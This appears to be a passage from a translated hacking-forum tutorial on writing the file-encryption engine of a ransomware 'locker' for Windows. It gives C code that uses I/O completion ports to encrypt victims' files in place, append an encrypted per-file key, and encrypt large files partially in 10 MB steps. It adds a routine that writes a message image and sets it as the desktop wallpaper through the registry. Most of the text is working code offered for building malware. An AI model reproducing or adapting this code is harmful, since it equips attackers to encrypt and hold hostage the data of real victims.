Buffer is the place where we will write the read and process it.
NumberOfBytesRead - The number of the last read.
InFile - The file handle itself.
whichOperation is the operation to be performed.

After initializing iocp, creating threads, allocating memory for the structure, you need to start working with the queue. First, we'll open the file
C:Copy to clipboard
HANDLE hSourceFile1 = CreateFileW(filePath,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_FLAG_OVERLAPPED,
NULL);
The main differences from normal I / O are the presence of the FILE_SHARE_READ flags | FILE_SHARE_WRITE and FILE_FLAG_OVERLAPPED. The latter just opens the file for asynchronous work.
Earlier.
After that, let's link our file to the output port handle.
C:Copy to clipboard
CreateIoCompletionPort(hSourceFile1,
iocp,
(ULONG_PTR)pAsyncCtx,
0);
hSourceFile1 - file handle.
Iocp - output port handle;
(ULONG_PTR) pAsyncCtx is our data structure.
0 - the number of threads, when binding the file and the completion port, it is not used

In the data structure, we created the whichOperation variable, let's set it to zero, then it will come in handy.
Then there are 2 options for the development of events, either we initialize Write | Read File with a regular function, and the completion port will automatically transfer us to the event queue, or manually call:
C:Copy to clipboard
PostQueuedCompletionStatus(ioCompletionPort,
1,
(ULONG_PTR)pAsyncCtx,
&(pAsyncCtx→overlapped));
I think there is no need to explain the parameters, except 1. This is the number of bytes transferred as a result of the operation, let it be 1
After calling this function, the thread starts working, the function layout looks like this:
C:Copy to clipboard
while (1) {
err = GetQueuedCompletionStatus(iocp,
&NumberOfBytes,
&CompletionKey,
&OverlappedPtr,
INFINITE);
switch (pAsyncCtx->whichOperation) {

case 0: {

}

case 1: {

}
}
}
GetQueuedCompletionStatus - A function that waits for the next input operation or thread completion key.
Iocp - the handle of the completion port, we pass it through parameters during the start of the stream to the file processing function
C:Copy to clipboard
DWORD WINAPI fileProcessing(LPVOID lpParam){
HANDLE iocp = (HANDLE)lpParam;

}
NumberOfBytes - The number of bytes last processed.
CompletionKey - Pointer to the associated key
After that comes the switch - which determines what we will do now, suppose 0 - read, 1 - write. It turns out that we are just sequentially reading / writing the file. Much like a normal loop, except that it runs asynchronously. Consider the layouts for writing / reading files
iocp2.jpg


C:Copy to clipboard
pAsyncCtx->lastRead = 1; \\ выставляем, что дальше мы записываем файл
ReadFile(pAsyncCtx->inFile,
pAsyncCtx→buffer, \\ буфер
BUFFER_SIZE, \\ Размер буфера
&(pAsyncCtx→numberOfBytesRead), \\Сколько прочитали
&(pAsyncCtx→overlapped)); \\ Смещение указателя
err = GetLastError(); \\ получаем последнюю ошибку
if (err == ERROR_IO_PENDING) \\ это не ошибка, это значит что файл выполняется асинхронно, и все впорядке
break;
if (err == ERROR_HANDLE_EOF) { \\ Конец файла
FinishCleanUp(pAsyncCtx, iocp); \\Очищаем и закрываем хендл
break;
}


\\Чтение

pAsyncCtx->lastRead = 0; \\ Дальше читаем файл
res = WriteFile(
pAsyncCtx->inFile,
pAsyncCtx->buffer,
NumberOfBytes, \\ сколько прочитали в последний раз
&(pAsyncCtx->numberOfBytesRead),
&(pAsyncCtx->overlapped));

res = GetLastError();
if (res == ERROR_IO_PENDING) { \\ Все хорошо
break;
}
If we want to write the encryption key to the file asynchronously, let's add another case, 2. It will generate the key, encrypt the key and write to the file:
C:Copy to clipboard
genKey(pAsyncCtx->k);
encryptKey(pAsyncCtx->k);
pAsyncCtx->overlapped.Offset = 0xFFFFFFFF;
pAsyncCtx->overlapped.OffsetHigh = 0xFFFFFFFF;
pAsyncCtx->li.QuadPart = 0;
pAsyncCtx->lastRead = 0;
res = WriteFile(
pAsyncCtx->inFile,
pAsyncCtx->k,
kSize,
&(pAsyncCtx->numberOfBytesRead),
&(pAsyncCtx->overlapped));
}
To write to the end of the file, offset 0xFFFFFFFF is used.
If we write the key at the end of the file processing, there will be no problems. But if you write down the key at the beginning, you should take into account the size of the recorded key in the future, because the file size will immediately change.

No additional manipulations need to be carried out, the program will do the rest by itself, with the exception of setting the offset and the encryption.
To set the offset correctly, add LARGE_INTEGER to the pAsyncCtx structure, thereby making it easier to set offsets.

For example, if we encrypt files larger than 10MB completely, before processing the file, we should check the size, and if it is larger, set it in the structure pAsyncCtx → more = true. Thus, in the stream, we will be able to track how much we should move the pointer in the file. Let's add in the file reading case:
C:Copy to clipboard
pAsyncCtx->overlapped.Offset = pAsyncCtx->li.LowPart; \\устанавливаем текущий оффсет на чтение
pAsyncCtx->overlapped.OffsetHigh = pAsyncCtx->li.HighPart;
if (pAsyncCtx->more) {
pAsyncCtx->li.QuadPart += 10485760; \\ если файл больше, передвигаем будущий оффсет на 10мб
}
else {
pAsyncCtx->li.QuadPart += BUFFER_SIZE; \\ Если меньше, просто читаем следующий блок

}
The InterlockedDecrement and InterlockedIncrement functions will be useful. They allow thread-safe modification of variables. For example, you can monitor a queue overflow. Tracking the number of event queues
C:Copy to clipboard
while ((DWORD)counterIOCP >= 80)
Sleep(1);
The final function will be something like this:
Spoiler: Bukfs
C:Copy to clipboard
DWORD WINAPI fileProcessing(LPVOID lpParam)
{
HANDLE iocp = (HANDLE)lpParam;
DWORD NumberOfBytes;
ULONG_PTR CompletionKey;
LPOVERLAPPED OverlappedPtr;
BOOL res = FALSE;
DWORD err;
while (1) {
GetQueuedCompletionStatus(iocp, \\ Ждем следующего действия
&NumberOfBytes,
&CompletionKey,
&OverlappedPtr,
INFINITE);

if (CompletionKey == NULL) {
break;
}
PASYNC_CTX pAsyncCtx = (PASYNC_CTX)CompletionKey;
if (NumberOfBytes == 0) { \\ Если обработали 0 байт, конец файла
FinishCleanUp(pAsyncCtx, iocp); \\ очищаем структуру и закрываем хендл файла
continue;
}
switch (pAsyncCtx->lastRead) {

case 0: { \\ Читаем файл
pAsyncCtx->overlapped.Offset = pAsyncCtx->li.LowPart; \\ меняем оффсет на следующий
pAsyncCtx->overlapped.OffsetHigh = pAsyncCtx->li.HighPart;
if (pAsyncCtx->more) {
pAsyncCtx->li.QuadPart += 10485760;
}
else {
pAsyncCtx->li.QuadPart += BUFFER_SIZE;
}
pAsyncCtx->lastRead = 1;
ReadFile(pAsyncCtx->inFile,
pAsyncCtx->buffer,
BUFFER_SIZE,
&(pAsyncCtx->numberOfBytesRead),
&(pAsyncCtx->overlapped));
err = GetLastError();
if (err == ERROR_IO_PENDING)
break;
if (err == ERROR_HANDLE_EOF) \\ Если прочитали 0
FinishCleanUp(pAsyncCtx, iocp);
break;
}

case 1: {
encryptBuffer(pAsyncCtx->buffer); \\ Шифруем буфер
pAsyncCtx->lastRead = 0; \\Дальше читаем

WriteFile(
pAsyncCtx->inFile,
pAsyncCtx->buffer,
NumberOfBytes,
&(pAsyncCtx->numberOfBytesRead),
&(pAsyncCtx->overlapped));

res = GetLastError();
if (res == ERROR_IO_PENDING) { \\ Все хорошо
break;
}
break;
}
case 2: {
genKey(pAsyncCtx->k);
encryptKey(pAsyncCtx->k); \\ генерируем ключи

pAsyncCtx->overlapped.Offset = 0xFFFFFFFF; \\ Записываем в конец файла
pAsyncCtx->overlapped.OffsetHigh = 0xFFFFFFFF;
pAsyncCtx->li.QuadPart = 0; \\ Начинаем дальнейшее чтение файла с начала
pAsyncCtx->lastRead = 0; \\ Дальше читаем файл
WriteFile(
pAsyncCtx->inFile,
pAsyncCtx->encrKey,
kSize,
&(pAsyncCtx->numberOfBytesRead),
&(pAsyncCtx->overlapped));
if (res == ERROR_IO_PENDING) {
break;
}
}
}
}

return 0;
}
This is far from ideal code, but for an example, and to show how iocp works. On the Internet, I did not find a detailed explanation of the principle of work. Usually everything is written in a creepy OOP style. For beginners, this will be more than.

It is worth saying a few words about the very controversial FILE_FLAG_NO_BUFFERING flag, which disables Windows system buffering. In theory, it should give an increase in the speed of work, but in practice this is far from a fact. Modern systems offer very good built-in buffering. In addition, the use of this flag limits our ability to work with the file. We can write and read only in blocks that are multiples of the disk sector. Therefore, instead of writing 100 bytes of the key, you will have to write 64kb, track it, and take it into account. For highly loaded systems, which is a locker, manual work with buffering and cache will be a plus, but few people can, and will do it.

Conclusion
These are all the main functions that a standard locker uses. The so-called foundation, from which walls, windows, etc. are built. The article turned out to be a little chaotic, strange and at the same time aimed more at beginners than at burnt samovars. I hope at least someone will be useful.

PS.
As an addition, the code for generating fullhd images and replacing the desktop wallpaper
Spoiler: tram pam pam
C:Copy to clipboard
void putImage() {
TCHAR szWinPath[MAX_PATH + 1];
GetTempPath(STRLEN(szWinPath), szWinPath);
lstrcat(szWinPath, L"\\");
lstrcat(szWinPath, id);
lstrcat(szWinPath, L".jpg");
SIZE sz;


LPWSTR txt = (LPWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2048);
wsprintf(txt, L"\r\n Спасибо за внимание!");
HFONT font = CreateFont(45, 0, 0, 0, FW_NORMAL, FALSE, FALSE, FALSE, DEFAULT_CHARSET, OUT_CHARACTER_PRECIS, CLIP_DEFAULT_PRECIS, DEFAULT_QUALITY, DEFAULT_PITCH, L"Times New Roman");
HDC winDC = GetDC(NULL);
HDC cdc = CreateCompatibleDC(winDC);
SelectObject(cdc, font);
GetTextExtentPoint32(cdc, txt, lstrlen(txt), &sz);
sz.cx = (sz.cx + 3) & 0xfffffffc;

HBITMAP bbb = CreateCompatibleBitmap(cdc, 1920, 1080);

SelectObject(cdc, bbb);
SetTextColor(cdc, RGB(255, 255, 255));
SetBkMode(cdc, OPAQUE);
SetBkColor(cdc, RGB(0, 0, 0));
RECT rc;
rc.top = 0;
rc.left = 0;
rc.bottom = 1080;
rc.right = 1920;
DrawText(cdc, txt, lstrlen(txt), &rc, DT_TOP | DT_CENTER | DT_EXTERNALLEADING | DT_WORDBREAK);
BITMAPINFOHEADER bmpInfoHeader;
BITMAPFILEHEADER bmpFileHeader;
bmpFileHeader.bfType = 0x4d42;
bmpFileHeader.bfSize = 0;
bmpFileHeader.bfReserved1 = 0;
bmpFileHeader.bfReserved2 = 0;
bmpFileHeader.bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER);
bmpInfoHeader.biSize = sizeof(bmpInfoHeader);
bmpInfoHeader.biWidth = 1920;
bmpInfoHeader.biHeight = 1080;
bmpInfoHeader.biPlanes = 1;
bmpInfoHeader.biBitCount = 16;
bmpInfoHeader.biCompression = BI_RGB;
bmpInfoHeader.biSizeImage = bmpInfoHeader.biWidth * bmpInfoHeader.biHeight * (16 / 8);
bmpInfoHeader.biXPelsPerMeter = 0;
bmpInfoHeader.biYPelsPerMeter = 0;
bmpInfoHeader.biClrUsed = 0;
bmpInfoHeader.biClrImportant = 0;

BITMAPINFO info;
info.bmiHeader = bmpInfoHeader;
BYTE* memory;

HDC bmpDC = CreateCompatibleDC(winDC);

HBITMAP bitmap = CreateDIBSection(cdc, &info, DIB_RGB_COLORS, (void**)&memory, NULL, 0);




SelectObject(bmpDC, bitmap);
BitBlt(bmpDC, 0, 0, bmpInfoHeader.biWidth, bmpInfoHeader.biHeight, cdc, 0, 0, SRCCOPY);
COLORREF cOldColor = RGB(0, 0, 0);
//Замена цвета фона, как работает, думайте сами )
for (int i = (bmpInfoHeader.biSizeImage); i >= 0; i--)
{
if (memory[i] == cOldColor) memory[i] = 0x61A4;
}
ReleaseDC(NULL, winDC);

HANDLE hFile = CreateFile(
szWinPath,
GENERIC_WRITE,
0,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hFile == INVALID_HANDLE_VALUE)
return;
DWORD dwWritten = 0;
WriteFile(hFile, &bmpFileHeader, sizeof(BITMAPFILEHEADER), &dwWritten, NULL);
WriteFile(hFile, &bmpInfoHeader, sizeof(BITMAPINFOHEADER), &dwWritten, NULL);
WriteFile(hFile, memory, bmpInfoHeader.biSizeImage, &dwWritten, NULL);
CloseHandle(hFile);



DeleteObject(bbb);
DeleteDC(cdc);
DeleteObject(font);

HKEY hKeyImage;

HeapFree(GetProcessHeap(), 0, txt);
RegOpenKey(HKEY_CURRENT_USER, L"Control Panel\\Desktop", &hKeyImage);
if (!hKeyImage) {
return;
}
RegSetValueEx(hKeyImage, TEXT("Wallpaper"), 0, REG_SZ, (PBYTE)szWinPath, lstrlen(szWinPath) * sizeof(TCHAR) + 2);
RegCloseKey(hKeyImage);

SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, (void*)szWinPath, SPIF_UPDATEINIFILE | SPIF_SENDWININICHANGE);
return;




GIVE LIKES, DON'T LEECH PepeKnife
AUTHOR NOT RESPONSIBLE FOR ANY MISUSE